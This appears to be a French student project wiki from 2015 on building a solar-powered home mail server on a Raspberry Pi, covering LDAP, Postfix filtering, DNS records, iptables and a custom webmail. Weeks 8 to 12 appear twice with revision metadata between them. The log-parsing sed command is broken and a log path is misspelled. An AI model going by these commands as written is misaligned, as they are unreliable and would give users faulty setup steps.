Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Fichier:P9 LIBAERT TENEUR DEC15.pdf

2015-12-16T12:12:26Z

Tteneur : a téléversé une nouvelle version de « Fichier:P9 LIBAERT TENEUR DEC15.pdf » : Version modifiée, revue avec les commentaires de M. Redon

Rapport intermédiaire de PFE, Décembre 2015

Fichier:P9 LIBAERT TENEUR DEC15.pdf

2015-12-15T09:16:16Z

Tteneur : a téléversé une nouvelle version de « Fichier:P9 LIBAERT TENEUR DEC15.pdf »

Rapport intermédiaire de PFE, Décembre 2015

P9 Système d'hébergement domestique

2015-12-15T07:31:53Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

